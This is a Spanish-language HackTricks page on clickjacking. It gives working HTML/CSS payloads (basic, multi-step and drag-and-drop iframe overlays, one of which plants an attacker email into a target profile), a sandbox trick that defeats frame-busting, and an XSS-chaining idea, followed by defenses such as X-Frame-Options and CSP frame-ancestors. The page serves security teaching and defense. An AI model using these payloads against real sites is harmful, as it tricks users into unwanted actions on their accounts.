12 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
What is Clickjacking
En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento en una página web que es invisible o disfrazado como otro elemento. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, provisión de credenciales o información sensible, transferencias de dinero, o la compra en línea de productos.
Prepopulate forms trick
A veces es posible llenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga útil de clickjacking para que el usuario presione el botón Enviar.
Populate form with Drag&Drop
Si necesitas que el usuario llene un formulario pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes simplemente pedirle que Drag&Drop algo que escriba tus datos controlados como en este ejemplo.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Carga útil de múltiples pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un ataque XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario para que haga clic en el botón/enlace.
Ejemplo:
Has encontrado un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes establecer y leer). La página con el formulario para establecer estos detalles es vulnerable a Clickjacking y puedes prellenar el formulario con los parámetros GET.
__Un atacante podría preparar un ataque de Clickjacking a esa página prellenando el formulario con la carga útil de XSS y engañando al usuario para que envíe el formulario. Así, cuando se envíe el formulario y los valores sean modificados, el usuario ejecutará el XSS.
Estrategias para Mitigar Clickjacking
Defensas del Lado del Cliente
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:
- Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
- Hacer que todos los marcos sean visibles.
- Prevenir clics en marcos invisibles.
- Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.
Sin embargo, estos scripts de ruptura de marcos pueden ser eludidos:
- Configuraciones de Seguridad de los Navegadores: Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o la falta de soporte para JavaScript.
- Atributo
sandbox
de HTML5 iframe: Un atacante puede neutralizar los scripts de ruptura de marcos configurando el atributosandbox
con valoresallow-forms
oallow-scripts
sinallow-top-navigation
. Esto impide que el iframe verifique si es la ventana superior, por ejemplo,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
y allow-scripts
valores habilitan acciones dentro del iframe mientras deshabilitan la navegación de nivel superior. Para asegurar la funcionalidad deseada del sitio objetivo, pueden ser necesarios permisos adicionales como allow-same-origin
y allow-modals
, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden guiar sobre qué permisos permitir.
Defensas del lado del servidor
X-Frame-Options
El X-Frame-Options
encabezado de respuesta HTTP informa a los navegadores sobre la legitimidad de renderizar una página en un <frame>
o <iframe>
, ayudando a prevenir Clickjacking:
X-Frame-Options: deny
- Ningún dominio puede enmarcar el contenido.X-Frame-Options: sameorigin
- Solo el sitio actual puede enmarcar el contenido.X-Frame-Options: allow-from https://trusted.com
- Solo el 'uri' especificado puede enmarcar la página.- Tenga en cuenta las limitaciones: si el navegador no soporta esta directiva, puede que no funcione. Algunos navegadores prefieren la directiva CSP frame-ancestors.
Directiva frame-ancestors de Content Security Policy (CSP)
La directiva frame-ancestors
en CSP es el método recomendado para la protección contra Clickjacking:
frame-ancestors 'none'
- Similar aX-Frame-Options: deny
.frame-ancestors 'self'
- Similar aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Similar aX-Frame-Options: allow-from
.
Por ejemplo, el siguiente CSP solo permite el enmarcado desde el mismo dominio:
Content-Security-Policy: frame-ancestors 'self';
Más detalles y ejemplos complejos se pueden encontrar en la documentación de frame-ancestors CSP y en la documentación de frame-ancestors de Mozilla.
Content Security Policy (CSP) con child-src
y frame-src
La Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes el navegador debe permitir para cargar contenido.
Directiva frame-src
- Define fuentes válidas para frames.
- Más específica que la directiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite marcos del mismo origen (self) y https://trusted-website.com.
Directiva child-src
- Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
- Actúa como un respaldo para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite marcos y trabajadores del mismo origen (self) y https://trusted-website.com.
Notas de Uso:
- Deprecación: child-src está siendo eliminado a favor de frame-src y worker-src.
- Comportamiento de Respaldo: Si frame-src está ausente, se utiliza child-src como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
- Definición Estricta de Fuentes: Incluya solo fuentes confiables en las directivas para prevenir la explotación.
Scripts de JavaScript para Romper Marcos
Aunque no son completamente infalibles, los scripts de ruptura de marcos basados en JavaScript se pueden utilizar para evitar que una página web sea enmarcada. Ejemplo:
if (top !== self) {
top.location = self.location;
}
Empleando Tokens Anti-CSRF
- Validación de Tokens: Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado se realicen intencionalmente por el usuario y no a través de una página Clickjacked.
Referencias
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Aprenda y practique Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda y practique Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoye a HackTricks
- ¡Revise los planes de suscripción!
- Únase al 💬 grupo de Discord o al grupo de telegram o síganos en Twitter 🐦 @hacktricks_live.
- Comparta trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.